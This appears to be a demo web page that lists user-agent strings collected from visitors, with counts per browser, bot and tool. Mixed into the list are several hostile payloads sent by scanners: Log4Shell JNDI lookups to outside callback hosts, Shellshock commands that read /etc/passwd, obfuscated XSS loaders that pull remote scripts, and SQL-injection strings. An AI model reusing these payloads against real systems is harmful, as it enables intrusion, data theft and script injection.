swarm-web git

#visitor100114
#session285
#live-session0

User Agents of Visitors

This page demonstrates showing query result from database.

Below list of user agents are collected from the visitor's HTTP header.

User AgentCount
curl57046
Windows10326
Other6480
MacOS4111
Bots3377
Linux3236
Android1663
iPhone333
iPad37
ChromeOS11
Links10
Wget3
Lynx3
Bot AgentCount
CensysInspect1898
PaloBot1176
PythonRequests121
NetcraftSurveyAgent56
InternetMeasurement53
GoogleBot29
BingBot15
TelegramBot11
YandexBot9
Nmap4
DuckDuckGoBot3
YahooBot1
WhatsAppBot1
Other User AgentsCount
Go-http-client/2.01
Fuzz Faster U Fool v1.5.0-dev1
Go-http-client/1.11
Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.361
Mozilla/4.0 (compatible; Netcraft Web Server Survey)1
webprosbot/2.0 (+mailto:abuse-6337@webpros.com)1
Mozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)1
Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)1
Mozilla/5.0 (l9scan/2.0.531323e2033323e2530313e2237313; +https://leakix.net)1
Mozilla/5.0 zgrab/0.x1
¿¿?'?"%bf¿¿${jndi:dns://975458N${sys:java.version}.0bc4cw4b9zfho3xc9a4hwqoptgzan0bp.oastify.com/a}1
¿¿?'?"%bf¿¿${jndi:dns://951937X${sys:java.version}.q8z4i7rmjj2ogm2vzkmcs56ed5j07qvf.oastify.com/a}1
¿¿?'?"%bf¿¿${jndi:dns://951937X${sys:java.version}.x20ezh56c0a1wouis0lv8gxa016suii7.oastify.com/a}1
Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.111
¿¿?'?"%bf¿¿${jndi:dns://925556F${sys:java.version}.mpfatzt6msumn9fscuhmcocu8lec23qs.oastify.com/a}1
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggr+/v7+/v7+/v7+/v78ke2puZGk6ZG5zOi8vOTE0NzIxRiR7c3lzOmphdmEudmVyc2lvbn0uMGtsNGVkbTJhOWVzMngyY3h3c2Myd3E1ZXdrcDhmdzQub2FzdGlmeS5jb20vYX0=" alt="Red dot" />1
MicroMessenger1
libwww-perl/6.711
¿¿¿¿¿${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//909922F.ibxm7u0cqb9hwncxpumpee1hm8s1gr4g.oastify.com/a}1
Mozilla/5.0 researchscan.comsys.rwth-aachen.de1
Mozilla/5.0 (X11; CrOS i686 1193.158.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.71
%22%3E%3Cscript+src%3Dhttps%3A%2F%2Fxless-theta-one.vercel.app%2F909922A%3E%3C%2Fscript%3E1
'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>'"></title></textarea></script></style></noscript><script src="https://xless-theta-one.vercel.app/909922A"></script>1
SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)1
<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvOTA5OTIyQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>¿¿?\'?\"%bf¿¿${jndi:dns://876578MEGA${sys:java.version}.hrc2pjkxddomti2qtkfnowmaw12tqje8.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)1
"><script src="https://xless-theta-one.vercel.app/166645O"></script>1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>¿¿?\'?\"%bf¿¿${jndi:dns://876578MEGA${sys:java.version}.dev1857ymo286hkcdp5sut0eg5mxanyc.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)1
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e"><script src="https://xless-theta-one.vercel.app/876578MEGA"></script>jaVasCript%3A%2F%2A-%2F%2A%60%2F%2A%5C%60%2F%2A%27%2F%2A%22%2F%2A%2A%2F%28%2F%2A%20%2A%2FoNcliCk%3Dalert%28%29%20%29%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--%21%3E%5Cx3csVg%2F%3CsVg%2FoNloAd%3Dalert%28%29%2F%2F%3E%5Cx3e%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxless-theta-one.vercel.app%2F876578MEGA%22%3E%3C%2Fscript%3E jaVasCript%253A%252F%252A-%252F%252A%2560%252F%252A%255C%2560%252F%252A%2527%252F%252A%2522%252F%252A%252A%252F%2528%252F%252A%2520%252A%252FoNcliCk%253Dalert%2528%2529%2520%2529%252F%252F%25250D%25250A%25250d%25250a%252F%252F%253C%252FstYle%252F%253C%252FtitLe%252F%253C%252FteXtarEa%252F%253C%252FscRipt%252F--%2521%253E%255Cx3csVg%252F%253CsVg%252FoNloAd%253Dalert%2528%2529%252F%252F%253E%255Cx3e%2522%253E%253Cscript%2520src%253D%2522https%253A%252F%252Fxless-theta-one.vercel.app%252F876578MEGA%2522%253E%253C%252Fscript%253E<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>\xbf\xbf.%3CSvg%20src%3Dx%20id%3DdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTY2NjQ1TyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs%3D%20Only%3D1%20OnLoad%3Deval%28atob%28this.id%29%29%3E%5Cxbf%5Cxbf <> %253CSvg%2520src%253Dx%2520id%253DdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvMTY2NjQ1TyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs%253D%2520Only%253D1%2520OnLoad%253Deval%2528atob%2528this.id%2529%2529%253E%255Cxbf%255Cxbf1
RepoLookoutBot/v1.1.0-271-g40cd1c9 (abuse reports to abuse@repo-lookout.org)1
MSIE1
asusrouter--1
Nacos-Server1
() { :; }; echo ; echo ; /bin/cat /etc/passwd1
${jndi:ldap://127.0.0.1#.${hostName}.useragent.ck9iagjkoq4cnd92qsuggpcymsrnaazwu.oast.live}1
${jndi:ldap://${:-690}${:-865}.${hostName}.useragent.ck9iagjkoq4cnd92qsugjfytnoikryruz.oast.live}1
TNAS1
Node.js1
Report Runner1
AVAYA1
"() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"1
concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)' or select(concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e))'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veGxlc3MtdGhldGEtb25lLnZlcmNlbC5hcHAvODc2NTc4TUVHQSI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>???\'?\"%bf??${jndi:dns://876578MEGA${sys:java.version}.xbci1fg6sdccuwpbbkars9nw5nbfz5nu.oastify.com/a} concat(0x3c537667207372633d782069643d646d4679494745395a47396a6457316c626e517559334a6c5958526c5257786c625756756443676963324e796158423049696b375953357a636d4d39496d68306448427a4f6938766547786c63334d746447686c644745746232356c4c6e5a6c636d4e6c62433568634841764f4463324e54633454555648515349375a47396a6457316c626e5175596d396b655335686348426c626d524461476c735a4368684b54733d204f6e6c793d31204f6e4c6f61643d6576616c2861746f6228746869732e696429293e)"><script src="https://xless-theta-one.vercel.app/876578MEGA"></script>"><script src="https://js.rip/a37u5o3jfl"></script>;javascript:eval('var a=document.createElement(\'script\');a.src=\'https://js.rip/a37u5o3jfl\';document.body.appendChild(a)')"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2EzN3U1bzNqZmwiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7><script>$.getScript("https://js.rip/a37u5o3jfl")</script>1
MobileSafari/8615.1.26.10.24 CFNetwork/1406.0.4 Darwin/22.4.01
Screaming Frog SEO Spider/8.11
Mozilla/5.0 (PLAYSTATION 3; 1.10)1
everyfeed-spider/2.0 (http://www.everyfeed.com)1
Apache/2.4.34 (Ubuntu) OpenSSL/1.1.1 (internal dummy connection)1
SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
¿¿?'?"%bf¿¿${${lower:j}ndi:dns://876328BIGOPTIONS${hostName}.logger.t2w01rrywy0vhymc3ey6jofosfyem4at.oastify.com/a}1
firefox1
Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.001
Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/5251
¿${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://3650934F.${hostName}.ct9wf7993lf1j8vxvawaywflmcs3gt4i.oastify.com/z}1
Mozilla/5.0 (compatible; BitSightBot/1.0)1
Python/3.9 aiohttp/3.9.11
python-httpx/0.25.21
W3C_Validator/1.6541
SonyEricssonT100/R1011
grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)1
Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)1
BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.01
`Mozilla/5.01
'Cloud mapping experiment. Contact research@pdrlabs.net'1
Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)1
Web Downloader/6.91
colly - https://github.com/gocolly/colly/v21
axios/1.4.01
Mozilla/5.0 (X11; FreeBSD amd64; rv:54.0) Gecko/20100101 Firefox/54.01
AdsBot-Google ( http://www.google.com/adsbot.html)1
Shop/2.137.0-release.113elf/r?${jndi:dns://HostNameIS${hostName}.8nwgqjic6fqd8sue4d63khfaq1wskl8a.oastify.com/a}'<Svg src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYngtZXRhLnZlcmNlbC5hcHAvZ3JhcGhxbCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= Only=1 OnLoad=eval(atob(this.id))>ecently_vie8 ios/17.1.21
Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.01
Mozilla/5.0 (compatible; wpbot/1.0; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/4.0 (compatible; Dillo 3.0)1
SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.361
MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.01
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/0569f25 warc/v0.8.331
P3P Validator1
SearchExpress1
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/networks/ip-networks/deepfield/genome/)'1
SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.31
node1
Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.301
SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible; wpbot/1.1; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/52b2551 warc/v0.8.381
Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.161
Mozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )1
Mozilla/5.0 (PLAYSTATION 3; 2.00)1
cc1
msnbot/1.0 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/ae4878c warc/v0.8.391
Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.0 SeaMonkey/2.42.9esr1
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/2ac2af5 warc/v0.8.401
Mozilla/5.0 (compatible; archive.org_bot +http://archive.org/details/archive.org_bot) Zeno/8cdd3d9 warc/v0.8.431
BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1031
Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.361
libwww-perl/5.8201
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es651
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/4131
SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
NetSurf/1.2 (NetBSD; amd64)1
MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.01
Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.01
Download Demon/3.5.0.111
Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.01
Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)1
portalmmm/2.0 N410i(c20;TB)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.0 SeaMonkey/2.351
Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.51
Mozilla/5.0 (compatible)1
'Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)'1
https://gdnplus.com:Gather Analyze Provide.1
Scrapy/2.12.0 (+https://scrapy.org)1
Java/17.0.21
SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
ct‑git‑scanner/0.41
facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)1
Mozilla/5.01
Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)1
FH Muenster/Security-Scanner/fh-muenster.de1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)1
Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.81
Mozilla/5.0 (compatible; wpbot/1.3; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)1
python-httpx/0.28.11
Python-urllib/3.101
Scrapy/2.13.3 (+https://scrapy.org)1
BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1021
Mozilla/3.01Gold (Win95; I)1
fhms-its-research-scanner/1.0 (+https://fb02itsscan02.fh-muenster.de)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot)1
ip9max/1.01
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)1
RecordedFuture Global Inventory Crawler1
python-httpx/0.22.01
Python/3.14 aiohttp/3.13.21
python-httpx/0.16.11
python-httpx/0.27.21
Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)1
Mozilla/5.0 (compatible; VertexWP/1.0; +https://vertexwp.com/bot)1
Python/3.12 aiohttp/3.13.21
Mozilla/5.0 (compatible; WP-Safe-Scanner/1.0)1
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Edge/102.0 Safari/537.361
Majestic-12/1.0 (mj12bot)1
Scrapy/2.13.4 (+https://scrapy.org)1
Mozilla/5.0 (Mac OS X 13_2) AppleWebKit/537.36 (KHTML, like Gecko) Safari/129.0 Safari/537.361
Python/3.13 aiohttp/3.13.21
Python/3.8 aiohttp/3.10.111
Mozilla/5.0 (compatible; wpbot/1.4; +https://forms.gle/ajBaxygz9jSR8p8G9)1
Mozilla/5.0 (compatible; SecurityScanner/1.0)1
SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible; NetScope-DomainScanner/1.0; security research scanner)1
Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)1
Offline Explorer/2.51
Mozilla/5.0 (OS/2; Warp 4.5; rv:24.0) Gecko/20100101 Firefox/24.0 SeaMonkey/2.211
Baiduspider ( http://www.baidu.com/search/spider.htm)1
Mozilla/5.0 (OS/2; Warp 4.5; rv:45.0) Gecko/20100101 Firefox/45.01
fasthttp1
Python/3.10 aiohttp/3.13.31
RootEvidence/1.01
"Xpanse-bot1
Python/3.13 aiohttp/3.13.31
Mozilla/5.0 (compatible; zern.io/1.0; +https://zern.io/scan)1
Python-urllib/3.121
InternalSiteScanner/1.01
Mozilla/5.0 (compatible; MistralBot/1.0; +https://mistral.ai)1
Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)1
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)1
Mozilla/5.0 (compatible; Applebot/0.1; +http://www.apple.com/go/applebot)1
Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)1
Mozilla/5.0 (compatible; xAI-SearchBot/1.0; +https://x.ai)1
Mozilla/5.0 (compatible; ClaudeBot/1.0; +claudebot@anthropic.com)1
Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/bot)1
pathscan/0.1.01
req/v3 (https://github.com/imroc/req)1
Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)1
Mozilla/5.0 (compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)1
Mozilla/5.0 (compatible; Google-CloudVertexBot; +https://cloud.google.com/vertex-ai-bot)1
Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)1
Mozilla/5.0 (compatible; GenomeCrawlerd/1.0; +https://www.nokia.com/genomecrawler)1
msnbot/1.1 ( http://search.msn.com/msnbot.htm)1
Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.21
Mozilla/5.0 (OS/2; Warp 4.5; rv:38.0) Gecko/20100101 Firefox/38.01
Googlebot-News1
Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)1
Mozilla/5.0 (X11; OpenBSD amd64; rv:30.0) Gecko/20100101 Firefox/30.01
Googlebot/2.1 ( http://www.googlebot.com/bot.html)1
SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.11
Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)1
Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)1
Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.131
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.4 (KHTML like Gecko) Chrome/22.0.1229.79 Safari/537.41
Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/536.51
BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/1231
BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/1051
LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.11
msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)1
Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)1
SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.01
Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot)1
WebCopier v4.61
Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es501
WDG_Validator/1.6.21
Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.11
Mozilla/5.0 (BlackBerry; U; BlackBerry 9930; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.267 Mobile Safari/534.11+1
Googlebot-Video/1.01
w3m/0.5.11
DoCoMo/2.0 SH901iC(c100;TB;W24H12)1
Mozilla/4.0 (PSP (PlayStation Portable); 2.00)1
CSSCheck/1.2.21
nook browser/1.01
Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)1
SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]1
